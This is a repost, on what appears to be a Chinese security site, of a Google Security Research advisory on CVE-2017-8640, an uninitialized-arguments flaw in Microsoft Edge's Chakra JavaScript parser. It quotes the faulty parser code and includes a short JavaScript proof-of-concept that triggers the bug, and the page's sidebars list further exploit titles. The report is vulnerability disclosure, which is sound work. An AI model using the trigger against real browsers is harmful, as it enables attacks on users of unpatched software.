首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Microsoft Edge Chakra Uninitialized Arguments
来源:Google Security Research 作者:lokihardt 发布时间:2017-08-17  
Microsoft Edge: Chakra: Uninitialized arguments CVE-2017-8640 Here's a snippet of "ParseVariableDeclaration" which is used for parsing declarations. template ParseNodePtr Parser::ParseVariableDeclaration( tokens declarationType, charcount_t ichMin, BOOL fAllowIn/* = TRUE*/, BOOL* pfForInOk/* = nullptr*/, BOOL singleDefOnly/* = FALSE*/, BOOL allowInit/* = TRUE*/, BOOL isTopVarParse/* = TRUE*/, BOOL isFor/* = FALSE*/, BOOL* nativeForOk /*= nullptr*/) { ... if (pid == wellKnownPropertyPids.arguments && m_currentNodeFunc) { // This var declaration may change the way an 'arguments' identifier in the function is resolved if (declarationType == tkVAR) { m_currentNodeFunc->grfpn |= PNodeFlags::fpnArguments_varDeclaration; } else { if (GetCurrentBlockInfo()->pnodeBlock->sxBlock.blockType == Function) { // Only override arguments if we are at the function block level. m_currentNodeFunc->grfpn |= PNodeFlags::fpnArguments_overriddenByDecl; } } } ... } "m_currentNodeFunc" is only replaced when "buildAST" is true. So I think it's not supposed to use "m_currentNodeFunc" when "buildAST" is false. But the above code is using it regardless of "buildAST". So it may change a wrong function's "grfpn" flag. What I noticed is the "PNodeFlags::fpnArguments_overriddenByDecl" flag which makes the function's arguments uninitialized. PoC: function f() { ({a = () => { let arguments; }} = 1); arguments.x; } f(); This bug is subject to a 90 day disclosure deadline. After 90 days elapse or a patch has been made broadly available, the bug report will become visible to the public. Found by: lokihardt
 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Microsoft Edge Chakra Javascri
·Microsoft Edge Chakra Parser::
·Microsoft Edge Chakra Incorrec
·Microsoft Edge Chakra EmitNew
·Microsoft Edge Chakra TryUndel
·Microsoft Edge Chakra Incorrec
·Microsoft Edge Chakra PushPopF
·MyDoomScanner 1.00 - Local Buf
·Microsoft Edge Charka Failed R
·Mozilla Firefox < 45.0 - 'nsHt
·Microsoft Edge Charka PreVisit
·DSScan 1.0 - Local Buffer Over
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved